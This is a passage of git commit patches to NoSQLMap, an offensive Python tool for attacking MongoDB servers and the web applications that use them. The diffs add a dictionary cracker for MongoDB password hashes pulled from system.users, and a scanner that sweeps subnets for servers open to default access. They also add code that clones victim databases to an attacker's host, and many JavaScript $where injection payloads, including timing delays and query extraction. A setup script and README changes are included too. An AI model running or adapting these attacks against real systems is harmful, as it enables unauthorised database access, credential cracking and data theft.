range(size)) - elif format == "3": - chars = string.digits - return ''.join(random.choice(chars) for x in range(size)) + elif format == "3": + chars = string.digits + return ''.join(random.choice(chars) for x in range(size)) - elif format == "4": - chars = string.ascii_letters + string.digits - return ''.join(random.choice(chars) for x in range(size)) + '@' + ''.join(random.choice(chars) for x in range(size)) + '.com' + elif format == "4": + chars = string.ascii_letters + string.digits + return ''.join(random.choice(chars) for x in range(size)) + '@' + ''.join(random.choice(chars) for x in range(size)) + '.com' + + else: + format = True + print "Invalid selection." def buildUri(origUri, randValue): From 8ed1eefed6837a99b9f5b0988222dc4709124d3c Mon Sep 17 00:00:00 2001 From: tcstool Date: Fri, 17 Jan 2014 21:39:02 -0600 Subject: [PATCH 011/207] Implement Josh's password cracking, tweak UI --- nosqlmap.py | 94 +++++++++++++++++++++++++++++++++++++++++------------ 1 file changed, 74 insertions(+), 20 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index b2699ec..927bd4e 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -25,6 +25,7 @@ import subprocess import json import gridfs +from hashlib import md5 #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu. global optionSet @@ -242,6 +243,8 @@ def options(): mainMenu() def netAttacks(target): + print "DB Access attacks" + print "=================" mgtOpen = False webOpen = False #This is a global for future use with other modules; may change @@ -306,8 +309,8 @@ def netAttacks(target): print "MongoDB web management closed or requires authentication." + print "\n" if mgtOpen == True: - #Ths is compiling server info????? print "Server Info:" mongoVer = conn.server_info()['version'] print "MongoDB Version: " + mongoVer @@ -335,13 +338,21 @@ def netAttacks(target): colls = db.collection_names() print dbItem + ":" print "\n".join(colls) + print "\n" + if 'system.users' in colls: users = list(db.system.users.find()) print "Database Users and Password Hashes:" - #print dbItem - print str(users) - #print "\n" - + + for x in range (0,len(users)): + print "Username: " + users[x]['user'] + print "Hash: " + users[x]['pwd'] + print "\n" + crack = raw_input("Crack this hash? ") + + if crack == "y": + brute_pass(users[x]['user'],users[x]['pwd']) + except: print "Error: Couldn't list collections. The provided credentials may not have rights." @@ -368,7 +379,7 @@ def netAttacks(target): if stealDB == "y" or stealDB == "Y": stealDBs (myIP) - getShell = raw_input("Try to get a shell? (Requrires mongoDB <2.2.4)?") + getShell = raw_input("Try to get a shell? (Requrires mongoDB <2.2.4)? ") if getShell == "y" or getShell == "Y": #Launch Metasploit exploit @@ -383,10 +394,14 @@ def netAttacks(target): def webApps(): + print "Web App Attacks" + print "===============" paramName = [] paramValue = [] vulnAddrs = [] possAddrs = [] + timeVulnsStr = [] + timeVulnsInt = [] appUp = False strTbAttack = False intTbAttack = False @@ -714,7 +729,7 @@ def buildUri(origUri, randValue): paramName = [] paramValue = [] global uriArray - uriArray = ["","","","","","","","","",""] + uriArray = ["","","","","","","","","","","","","",""] injOpt = "" #Split the string between the path and parameters, and then split each parameter @@ -747,8 +762,8 @@ def buildUri(origUri, randValue): raw_input("Something went wrong. Press enter to return to the main menu...") mainMenu() - print "debug:" - print split_uri[0] + #print "debug:" + #print split_uri[0] x = 0 uriArray[0] = split_uri[0] + "?" @@ -761,8 +776,10 @@ def buildUri(origUri, randValue): uriArray[7] = split_uri[0] + "?" uriArray[8] = split_uri[0] + "?" uriArray[9] = split_uri[0] + "?" - - + uriArray[10] = split_uri[0] + "?" + uriArray[11] = split_uri[0] + "?" + uriArray[12] = split_uri[0] + "?" + uriArray[13] = split_uri[0] + "?" for item in paramName: if paramName[x] == injOpt: @@ -776,6 +793,11 @@ def buildUri(origUri, randValue): uriArray[7] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&" uriArray[8] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&" uriArray[9] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&" + uriArray[10] += paramName[x] + "=a\"; return db.a.find(); var dummy=\"!" + "&" + uriArray[11] += paramName[x] + "=a\"; return this.a != '" + randValue + "'; var dummy=\"!" + "&" + uriArray[12] += paramName[x] + "=a\"; return db.a.findOne(); var dummy=\"!" + "&" + uriArray[13] += paramName[x] + "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!" + "&" + else: uriArray[0] += paramName[x] + "=" + paramValue[x] + "&" @@ -788,6 +810,11 @@ def buildUri(origUri, randValue): uriArray[7] += paramName[x] + "=" + paramValue[x] + "&" uriArray[8] += paramName[x] + "=" + paramValue[x] + "&" uriArray[9] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[10] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[11] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[12] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[13] += paramName[x] + "=" + paramValue[x] + "&" + x += 1 #Clip the extra & off the end of the URL @@ -801,7 +828,10 @@ def buildUri(origUri, randValue): uriArray[7] = uriArray[7][:-1] uriArray[8] = uriArray[8][:-1] uriArray[9] = uriArray[9][:-1] - + uriArray[10] = uriArray[10][:-1] + uriArray[11] = uriArray[11][:-1] + uriArray[12] = uriArray[12][:-1] + uriArray[13] = uriArray[13][:-1] return uriArray[0] def stealDBs(myDB): @@ -835,7 +865,7 @@ def stealDBs(myDB): raw_input("Invalid Selection. Press enter to continue.") stealDBs(myDB) - cloneAnother = raw_input("Database cloned. Copy another?") + cloneAnother = raw_input("Database cloned. Copy another? ") if cloneAnother == "y" or cloneAnother == "Y": stealDBs(myDB) @@ -851,38 +881,38 @@ def massMongo(): global victim success = [] print "\n" - print "Massmongo-Scan for default access to MongoDB servers" - print "====================================================" + print "MongoDB Default Access Scanner" + print "==============================" loadPath = raw_input("Enter file name with IP list to scan: ") with open (loadPath) as f: ipList = f.readlines() - + print "\n" for target in ipList: try: conn = pymongo.MongoClient(target,27017) - print " Connected to " + target[:-1] + print "Connected to " + target[:-1] + "!" dbList = conn.database_names() - print "Successful admin access to " + target[:-1] + print "Successful admin access on " + target[:-1] + ".\n" target = target[:-1] success.append(target) conn.disconnect() except: - print "Failed to connect to " + target + " or credentials required." + print "Failed to connect to " + target[:-1] + " or credentials required." print "\n\n" print "Discovered MongoDB Servers:" menuItem = 1 - print "List of servers:" for server in success: print str(menuItem) + "-" + server menuItem += 1 select = True + print "\n" while select: select = raw_input("Select a NoSQLMap target or press x to exit: ") @@ -898,4 +928,28 @@ def massMongo(): else: raw_input("Invalid selection.") +def gen_pass(user, passw): + return md5(user + ":mongo:" + str(passw)).hexdigest(); + + +def brute_pass(user,key): + dictionary = raw_input("Enter path to password dictionary: ") + #print user + #print key + print "Preparing dictionary attack..." + with open (dictionary) as f: + passList = f.readlines() + + print "debug: " + str(passList) + + for passGuess in passList: + temp = passGuess.split("\n")[0] + #print "debug: " + temp + if gen_pass(user, temp) == key: + print "\nFound - "+user+":"+passGuess + return passGuess + + print "Password not found for "+user + return "" + mainMenu() From 94774c96f35bd44e5ef367bf1cf615b61ae02079 Mon Sep 17 00:00:00 2001 From: tcstool Date: Sun, 19 Jan 2014 09:45:25 -0600 Subject: [PATCH 012/207] Error handling for file loads --- nosqlmap.py | 38 +++++++++++++++++++++++++------------- 1 file changed, 25 insertions(+), 13 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 927bd4e..1eb08bd 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -879,14 +879,22 @@ def stealDBs(myDB): def massMongo(): global victim + loadCheck = False success = [] print "\n" print "MongoDB Default Access Scanner" print "==============================" - loadPath = raw_input("Enter file name with IP list to scan: ") + + while loadCheck == False: + loadPath = raw_input("Enter file name with IP list to scan: ") - with open (loadPath) as f: - ipList = f.readlines() + try: + with open (loadPath) as f: + ipList = f.readlines() + loadCheck = True + except: + print "Couldn't open file." + print "\n" for target in ipList: @@ -933,18 +941,22 @@ def gen_pass(user, passw): def brute_pass(user,key): - dictionary = raw_input("Enter path to password dictionary: ") - #print user - #print key - print "Preparing dictionary attack..." - with open (dictionary) as f: - passList = f.readlines() - - print "debug: " + str(passList) - + loadCheck = False + + while loadCheck == False: + dictionary = raw_input("Enter path to password dictionary: ") + try: + with open (dictionary) as f: + passList = f.readlines() + loadCheck = True + except: + print " Couldn't load file." + + + print "Running dictionary attack..." for passGuess in passList: temp = passGuess.split("\n")[0] - #print "debug: " + temp + if gen_pass(user, temp) == key: print "\nFound - "+user+":"+passGuess return passGuess From 3f7f6089281b636fdf341be9b73d987bb97ec0c6 Mon Sep 17 00:00:00 2001 From: tcstool Date: Sun, 19 Jan 2014 09:56:19 -0600 Subject: [PATCH 013/207] Update README.MD --- README.md | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 30e2718..19b4d83 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@ NoSQLMap ======== -[NoSQLMap](http://www.nosqlmap.net) v0.15b +[NoSQLMap](http://www.nosqlmap.net) v0.2 Introduction ============ @@ -43,7 +43,8 @@ NoSQLMap uses a menu based system for building attacks. Upon starting NoSQLMap 1-Set options (do this first) 2-NoSQL DB Access Attacks 3-NoSQL Web App attacks -4-Exit +4-Scan for Anonymous MongoDB Access +x-Exit ``` **ALWAYS USE OPTION 1 FIRST TO SET THE PARAMETERS!** @@ -57,8 +58,9 @@ Explanation of options: 5. Set my local Mongo/Shell IP-Set this option if attacking a MongoDB instance directly to the IP of a target Mongo installation to clone victim databases to or open Meterpreter shells to. 6. Set shell listener port-If opening Meterpreter shells, specify the port. 7. Load options file-Load a previously saved set of settings for 1-6. -8. Save options file-Save settings 1-6 for future use. -9. Back to main menu-Use this once the options are set to start your attacks. +8. Load options from saved Burp request-Parse a request saved from Burp Suite and populate the web application options. +9. Save options file-Save settings 1-6 for future use. +x. Back to main menu-Use this once the options are set to start your attacks. ``` Once options are set head back to the main menu and select DB access attacks or web app attacks as appropriate for whether you are attacking a NoSQL management port or web application. The rest of the tool is "wizard" based and fairly self explanatory, but send emails to nosqlmap@gmail.com or find me on Twitter [@tcstoolHax0r](https://twitter.com/tcstoolHax0r) if you have any questions or suggestions. From cde84588acf403dc76d93f11a48a1f8f42e76c12 Mon Sep 17 00:00:00 2001 From: tcstool Date: Sun, 19 Jan 2014 11:01:12 -0600 Subject: [PATCH 014/207] Added subnet scanning to access scanner --- nosqlmap.py | 48 +++++++++++++++++++++++++++++++++++++----------- 1 file changed, 37 insertions(+), 11 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 1eb08bd..ed94b73 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -25,6 +25,7 @@ import subprocess import json import gridfs +import ipcalc from hashlib import md5 #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu. @@ -879,37 +880,62 @@ def stealDBs(myDB): def massMongo(): global victim + optCheck = True loadCheck = False success = [] + ipList = [] print "\n" print "MongoDB Default Access Scanner" print "==============================" + print "1-Scan a subnet for default MongoDB access" + print "2-Loads IPs to scan from a file" - while loadCheck == False: - loadPath = raw_input("Enter file name with IP list to scan: ") + while optCheck: + loadOpt = raw_input("Select a scan method: ") + + + if loadOpt == "1": + subnet = raw_input("Enter subnet to scan: ") + + try: + for ip in ipcalc.Network(subnet): + ipList.append(str(ip)) + optCheck = False + except: + raw_input("Not a valid subnet. Press enter to return to main menu.") + mainMenu() + + + print "Debug:" + print ipList + + if loadOpt == "2": + while loadCheck == False: + loadPath = raw_input("Enter file name with IP list to scan: ") - try: - with open (loadPath) as f: - ipList = f.readlines() - loadCheck = True - except: - print "Couldn't open file." + try: + with open (loadPath) as f: + ipList = f.readlines() + loadCheck = True + optCheck = False + except: + print "Couldn't open file." print "\n" for target in ipList: try: conn = pymongo.MongoClient(target,27017) - print "Connected to " + target[:-1] + "!" + print "Connected to " + target dbList = conn.database_names() - print "Successful admin access on " + target[:-1] + ".\n" + print "Successful default access on " + target target = target[:-1] success.append(target) conn.disconnect() except: - print "Failed to connect to " + target[:-1] + " or credentials required." + print "Failed to connect to or need credentials for " + target print "\n\n" print "Discovered MongoDB Servers:" From dd1a8cd9bb83a0b235f5f2687160c884a7bbdac3 Mon Sep 17 00:00:00 2001 From: tcstool Date: Mon, 20 Jan 2014 14:40:48 -0600 Subject: [PATCH 015/207] Added setup.sh install script --- setup.sh | 76 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 76 insertions(+) create mode 100755 setup.sh diff --git a/setup.sh b/setup.sh new file mode 100755 index 0000000..5cac60b --- /dev/null +++ b/setup.sh @@ -0,0 +1,76 @@ +#!/bin/bash +echo "This setup script will install pip and use it to load the necessary Python dependencies for NoSQLMap on Red Hat and Debian based systems." +echo "It is EXPERIMENTAL and messes with your system. Use at your own risk!!!" +echo "As far as installing Metasploit, you're on your own." +echo "Before we start, are you root? If not, this won't work." +echo -n "Continue (y/n)? " + +read doIt + +if [ "$doIt" = "y" ] || [ "$doIt" = "Y" ]; then + echo "You've been warned..." + + if [ -f /etc/debian_version ]; then + echo "Debian-ish OS detected. using apt-get to install pip." + apt-get --force-yes install python-pip + pip install pymongo + pip install gridfs + pip install ipcalc + pip install hashlib + pip install json + pip install httplib2 + pip install urllib + pip install hashlib + + echo "All done. Check output for errors. Have fun!" + + elif [ -f /etc/redhat-release ]; then + echo "Red Hat-ish OS detected. using yum to install pip." + vernum=$(rpm -qa \*-release | grep -Ei "oracle|redhat|centos" | cut -d"-" -f3) + + if [ "$vernum" = "6" ];then + + echo "version 6 detected. Enabling repos." + cd /tmp + wget http://mirror-fpt-telecom.fpt.net/fedora/epel/6/i386/epel-release-6-8.noarch.rpm + rpm -ivh epel-release-6-8.noarch.rpm + yum -y install python-pip + pip install pymongo + pip install gridfs + pip install ipcalc + pip install hashlib + pip install json + pip install httplib2 + pip install urllib + pip install hashlib + + echo "All done. Check output for errors. Have fun!" + + + + + elif [ "$vernum" = "5" ];then + echo "version 5 detected. Enabling repos." + cd /tmp + wget http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm + rpm -ivh epel-release-5-4.noarch.rpm + yum -y install python-pip + pip install pymongo + pip install gridfs + pip install ipcalc + pip install hashlib + pip install json + pip install httplib2 + pip install urllib + pip install hashlib + + echo "All done. Check output for errors. Have fun!" + + fi + + fi +fi + + +exit 1 + From 56b02fefac81d508f2bf5b4947d4137d0bde5986 Mon Sep 17 00:00:00 2001 From: tcstool Date: Mon, 20 Jan 2014 19:14:12 -0600 Subject: [PATCH 016/207] Started coding DB attacks via web --- nosqlmap.py | 24 +++++++++++++++++++----- 1 file changed, 19 insertions(+), 5 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index ed94b73..f2eafca 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -406,6 +406,8 @@ def webApps(): appUp = False strTbAttack = False intTbAttack = False + trueStr = False + trueInt = False #Verify app is working. print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..." @@ -694,6 +696,16 @@ def webApps(): raw_input("Press enter to continue...") return() +def webDBAttacks(trueLen): + nameLen = 0 + injTestLen = 0 + getDBName = raw_input("Get database name? ") + + if getDBName == "y" or getDBName == "Y": + while injTestLen != trueLen: + tempUri = + + def randInjString(size): print "What format should the random string take?" print "1-Alphanumeric" @@ -730,7 +742,7 @@ def buildUri(origUri, randValue): paramName = [] paramValue = [] global uriArray - uriArray = ["","","","","","","","","","","","","",""] + uriArray = ["","","","","","","","","","","","","","","",""] injOpt = "" #Split the string between the path and parameters, and then split each parameter @@ -763,8 +775,6 @@ def buildUri(origUri, randValue): raw_input("Something went wrong. Press enter to return to the main menu...") mainMenu() - #print "debug:" - #print split_uri[0] x = 0 uriArray[0] = split_uri[0] + "?" @@ -798,7 +808,8 @@ def buildUri(origUri, randValue): uriArray[11] += paramName[x] + "=a\"; return this.a != '" + randValue + "'; var dummy=\"!" + "&" uriArray[12] += paramName[x] + "=a\"; return db.a.findOne(); var dummy=\"!" + "&" uriArray[13] += paramName[x] + "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!" + "&" - + uriArray[14] += paramName[x] + "a'; return true; var dum=a'" + uriArray[15] += paramName[x] + "1; return true; var dum=2" else: uriArray[0] += paramName[x] + "=" + paramValue[x] + "&" @@ -815,7 +826,8 @@ def buildUri(origUri, randValue): uriArray[11] += paramName[x] + "=" + paramValue[x] + "&" uriArray[12] += paramName[x] + "=" + paramValue[x] + "&" uriArray[13] += paramName[x] + "=" + paramValue[x] + "&" - + uriArray[14] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[15] += paramName[x] + "=" + paramValue[x] + "&" x += 1 #Clip the extra & off the end of the URL @@ -833,6 +845,8 @@ def buildUri(origUri, randValue): uriArray[11] = uriArray[11][:-1] uriArray[12] = uriArray[12][:-1] uriArray[13] = uriArray[13][:-1] + uriArray[14] = uriArray[14][:-1] + uriArray[15] = uriArray[15][:-1] return uriArray[0] def stealDBs(myDB): From 933bf9476847867f38ee58f7c64ef2921ca7da6b Mon Sep 17 00:00:00 2001 From: tcstool Date: Mon, 20 Jan 2014 21:18:33 -0600 Subject: [PATCH 017/207] More work on DB access via web app --- nosqlmap.py | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index f2eafca..ec2a986 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -703,7 +703,8 @@ def webDBAttacks(trueLen): if getDBName == "y" or getDBName == "Y": while injTestLen != trueLen: - tempUri = + testUri = uriArray[16].split("---") + def randInjString(size): @@ -742,7 +743,7 @@ def buildUri(origUri, randValue): paramName = [] paramValue = [] global uriArray - uriArray = ["","","","","","","","","","","","","","","",""] + uriArray = ["","","","","","","","","","","","","","","","",""] injOpt = "" #Split the string between the path and parameters, and then split each parameter @@ -791,6 +792,10 @@ def buildUri(origUri, randValue): uriArray[11] = split_uri[0] + "?" uriArray[12] = split_uri[0] + "?" uriArray[13] = split_uri[0] + "?" + uriArray[14] = split_uri[0] + "?" + uriArray[15] = split_uri[0] + "?" + uriArray[16] = split_uri[0] + "?" + uriArray[17] = split_uri[0] + "?" for item in paramName: if paramName[x] == injOpt: @@ -810,6 +815,9 @@ def buildUri(origUri, randValue): uriArray[13] += paramName[x] + "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!" + "&" uriArray[14] += paramName[x] + "a'; return true; var dum=a'" uriArray[15] += paramName[x] + "1; return true; var dum=2" + #Add values that can be manipulated for database attacks + uriArray[16] += paramName[x] + "=a'; if ---" + uriArray[17] += paramName[x] + "=1; if ---" else: uriArray[0] += paramName[x] + "=" + paramValue[x] + "&" @@ -828,6 +836,8 @@ def buildUri(origUri, randValue): uriArray[13] += paramName[x] + "=" + paramValue[x] + "&" uriArray[14] += paramName[x] + "=" + paramValue[x] + "&" uriArray[15] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[16] += paramName[x] + "=" + paramValue[x] + "&" + uriArray[17] += paramName[x] + "=" + paramValue[x] + "&" x += 1 #Clip the extra & off the end of the URL @@ -847,6 +857,8 @@ def buildUri(origUri, randValue): uriArray[13] = uriArray[13][:-1] uriArray[14] = uriArray[14][:-1] uriArray[15] = uriArray[15][:-1] + uriArray[16] = uriArray[16][:-1] + uriArray[17] = uriArray[17][:-1] return uriArray[0] def stealDBs(myDB): From 972bfda840c721d1ec2661a1319f06e63549386d Mon Sep 17 00:00:00 2001 From: tcstool Date: Sun, 26 Jan 2014 16:59:40 -0600 Subject: [PATCH 018/207] Final QA changes for v0.2 --- nosqlmap.py | 32 ++++++++++++++++++++------------ 1 file changed, 20 insertions(+), 12 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index ed94b73..891081f 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -89,25 +89,26 @@ def mainMenu(): def options(): - global victim - global webPort - global uri - global httpMethod - global myIP - global myPort + #Set default value if needed if optionSet[0] == False: + global victim victim = "Not Set" if optionSet[1] == False: + global webPort webPort = 80 optionSet[1] = True if optionSet[2] == False: + global uri uri = "Not Set" if optionSet[3] == False: + global httpMethod httpMethod = "GET" if optionSet[4] == False: + global myIP myIP = "Not Set" if optionSet[5] == False: + global myPort myPort = "Not Set" select = True @@ -228,7 +229,7 @@ def options(): victim = reqData[1].split( " ")[1].replace("\r\n","") optionSet[0] = True uri = methodPath[1].replace("\r\n","") - optList[2] = True + optionSet[2] = True elif select == "9": savePath = raw_input("Enter file name to save: ") @@ -836,7 +837,10 @@ def buildUri(origUri, randValue): return uriArray[0] def stealDBs(myDB): - menuItem = 1 + menuItem = 1 + if optionSet[4] == False: + raw_input("No destination database set! Press enter to return to the main menu.") + mainMenu() for dbName in dbList: print str(menuItem) + "-" + dbName @@ -875,8 +879,12 @@ def stealDBs(myDB): return() except: - raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...") - mainMenu() + if str(sys.exc_info()).find('text search not enabled') != 1: + raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...") + mainMenu() + else: + raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...") + mainMenu() def massMongo(): global victim @@ -906,8 +914,8 @@ def massMongo(): mainMenu() - print "Debug:" - print ipList + #print "Debug:" + #print ipList if loadOpt == "2": while loadCheck == False: From 356d82f84a3045a11438a97cbb0202687d070231 Mon Sep 17 00:00:00 2001 From: tcstool Date: Sun, 26 Jan 2014 17:13:36 -0600 Subject: [PATCH 019/207] Update copyright and read me --- README.md | 1 + nosqlmap.py | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 19b4d83..595610c 100644 --- a/README.md +++ b/README.md @@ -12,6 +12,7 @@ It is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL Requirements ============ +On a Debian or Red Hat based system, the setup.sh script may be run as root to automate the installation of NoSQLMap's dependencies. Varies based on features used: - Metasploit Framework, diff --git a/nosqlmap.py b/nosqlmap.py index 891081f..e728b3b 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1,5 +1,5 @@ #!/usr/bin/python -#NoSQLMap Copyright 2013 Russell Butturini +#NoSQLMap Copyright 2014 Russell Butturini #This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by #the Free Software Foundation, either version 3 of the License, or From 0b4aaf2500c7a2d33284a847f4d685135f66bb6f Mon Sep 17 00:00:00 2001 From: tcstool Date: Sat, 1 Feb 2014 21:44:45 -0600 Subject: [PATCH 020/207] Added booleans for version detection --- nosqlmap.py | 24 +++++++++++++++++++++++- 1 file changed, 23 insertions(+), 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index ec2a986..396761c 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -408,6 +408,7 @@ def webApps(): intTbAttack = False trueStr = False trueInt = False + lt24 = False #Verify app is working. print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..." @@ -483,6 +484,8 @@ def webApps(): if (whereStrDelta >= 100) and (whereStrLen > 0): print "Java $where escape varied " + str(whereStrDelta) + " bytes from random parameter value! Where injection works!" + lt24 = True + str24 = True vulnAddrs.append(uriArray[2]) elif (whereStrDelta > 0) and (whereStrDelta < 100) and (whereStrLen - randLength > 0): @@ -505,6 +508,8 @@ def webApps(): if (whereIntDelta >= 100) and (whereIntLen - randLength > 0): print "Java $where escape varied " + str(whereIntDelta) + " bytes from random parameter! Where injection works!" + lt24 = True + int24 = True vulnAddrs.append(uriArray[3]) elif (whereIntDelta > 0) and (whereIntDelta < 100) and (whereIntLen - randLength > 0): @@ -529,6 +534,8 @@ def webApps(): if (whereOneStrDelta >= 100) and (whereOneStrLen - randLength > 0): print "Java $where escape varied " + str(whereOneStrDelta) + " bytes from random parameter value! Where injection works!" + lt24 = True + str24 = True vulnAddrs.append(uriArray[4]) elif (whereOneStrDelta > 0) and (whereOneStrDelta < 100) and (whereOneStrLen - randLength > 0): @@ -552,6 +559,8 @@ def webApps(): if (whereOneIntDelta >= 100) and (whereOneIntLen - randLength > 0): print "Java $where escape varied " + str(whereOneIntDelta) + " bytes from random parameter! Where injection works!" + lt24 = True + int24 = True vulnAddrs.append(uriArray[5]) elif (whereOneIntDelta > 0) and (whereOneIntDelta < 100) and (whereOneIntLen - randLength > 0): @@ -649,6 +658,13 @@ def webApps(): print "HTTP load time variance was only " + str(intTimeDelta) + "seconds. Injection probably didn't work." intTbAttack = False + if lt24 == True: + bfInfo = raw_input("MongoDB < 2.4 detected. Start brute forcing database info (y/n)? ") + + if bfInfo == "y" or bfInfo == "Y": + getDBInfo() + + print "\n" print "Vunerable URLs:" print "\n".join(vulnAddrs) @@ -816,7 +832,7 @@ def buildUri(origUri, randValue): uriArray[14] += paramName[x] + "a'; return true; var dum=a'" uriArray[15] += paramName[x] + "1; return true; var dum=2" #Add values that can be manipulated for database attacks - uriArray[16] += paramName[x] + "=a'; if ---" + uriArray[16] += paramName[x] + "=a\"; if ---" uriArray[17] += paramName[x] + "=1; if ---" else: @@ -1016,4 +1032,10 @@ def brute_pass(user,key): print "Password not found for "+user return "" +def getDBInfo(): + print "Getting baseline True query return size..." + trueUri = uriArray[17].replace("---","a\'; return True; var dummy ='!") + + print "Calculating DB name length..." + mainMenu() From cf07cee8b1415ecc2d18c405232fc2c6c6d2b4b4 Mon Sep 17 00:00:00 2001 From: tcstool Date: Sat, 1 Feb 2014 22:14:50 -0600 Subject: [PATCH 021/207] Added user inputs for POST data --- nosqlmap.py | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index 396761c..663a4a4 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -44,7 +44,7 @@ def mainMenu(): while select: os.system('clear') #label = subprocess.check_output(["git","describe","--always"]) - print "NoSQLMap-v0.2" + print "NoSQLMap-v0.3" print "nosqlmap@gmail.com" print "\n" print "1-Set options" @@ -163,6 +163,12 @@ def options(): elif httpMethod == "2": print "POST request set" optionSet[3] = True + postDataIn = raw_input("Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)\n") + pdArray = postDataIn.split(",") + paramNames = pdArray[0::2] + paramValues = pdArray[1::2] + postData = dict(zip(paramNames,paramValues)) + raw_input("Debug: " + str(postData)) options() else: print "Invalid selection" @@ -931,6 +937,7 @@ def massMongo(): print "==============================" print "1-Scan a subnet for default MongoDB access" print "2-Loads IPs to scan from a file" + print "x-Return to main menu" while optCheck: loadOpt = raw_input("Select a scan method: ") @@ -962,6 +969,9 @@ def massMongo(): optCheck = False except: print "Couldn't open file." + + if loadOpt == "x": + mainMenu() print "\n" From 599e1dc5d542139bb8e3351a05c0b605ef0b7839 Mon Sep 17 00:00:00 2001 From: tcstool Date: Tue, 4 Feb 2014 16:39:16 -0600 Subject: [PATCH 022/207] Fixed typo preventing indexing warning from properly functioning --- nosqlmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index e728b3b..ad43846 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -879,7 +879,7 @@ def stealDBs(myDB): return() except: - if str(sys.exc_info()).find('text search not enabled') != 1: + if str(sys.exc_info()).find('text search not enabled') != -1: raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...") mainMenu() else: From 08775f1a4d282386a37d7f04269f007fab2cf7c4 Mon Sep 17 00:00:00 2001 From: tcstool Date: Thu, 6 Feb 2014 19:20:16 -0600 Subject: [PATCH 023/207] More work on POST requests --- nosqlmap.py | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 663a4a4..112845f 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -118,7 +118,7 @@ def options(): print "1-Set target host/IP (Current: " + str(victim) + ")" print "2-Set web app port (Current: " + str(webPort) + ")" print "3-Set App Path (Current: " + str(uri) + ")" - print "4-Set HTTP Request Method (GET/POST)" + print "4-Set HTTP Request Method (GET/POST) (Current: " + httpMethod + ")" print "5-Set my local Mongo/Shell IP (Current: " + str(myIP) + ")" print "6-Set shell listener port (Current: " + str(myPort) + ")" print "7-Load options file" @@ -168,7 +168,7 @@ def options(): paramNames = pdArray[0::2] paramValues = pdArray[1::2] postData = dict(zip(paramNames,paramValues)) - raw_input("Debug: " + str(postData)) + #raw_input("Debug: " + str(postData)) options() else: print "Invalid selection" @@ -226,15 +226,27 @@ def options(): httpMethod = "GET" elif methodPath[0] == "POST": + paramNames = [] + paramValues = [] httpMethod = "POST" postData = reqData[len(reqData)-1] + #split the POST parameters up into individual items + paramsNvalues = postData.split("&") + + for item in paramsNvalues: + tempList = item.split("=") + paramNames.append(tempList[0]) + paramValues.append(tempList[1]) + + postData = dict(zip(paramNames,paramValues)) + else: print "unsupported method in request header." victim = reqData[1].split( " ")[1].replace("\r\n","") optionSet[0] = True uri = methodPath[1].replace("\r\n","") - optList[2] = True + optionSet[2] = True elif select == "9": savePath = raw_input("Enter file name to save: ") From dd2915af85d6b5510204a2f2a1139ccbc40920a1 Mon Sep 17 00:00:00 2001 From: tcstool Date: Sat, 8 Feb 2014 14:38:16 -0600 Subject: [PATCH 024/207] Add post option loading/saving --- nosqlmap.py | 26 ++++++++++++++++++++++---- 1 file changed, 22 insertions(+), 4 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 112845f..4ac28a1 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -44,6 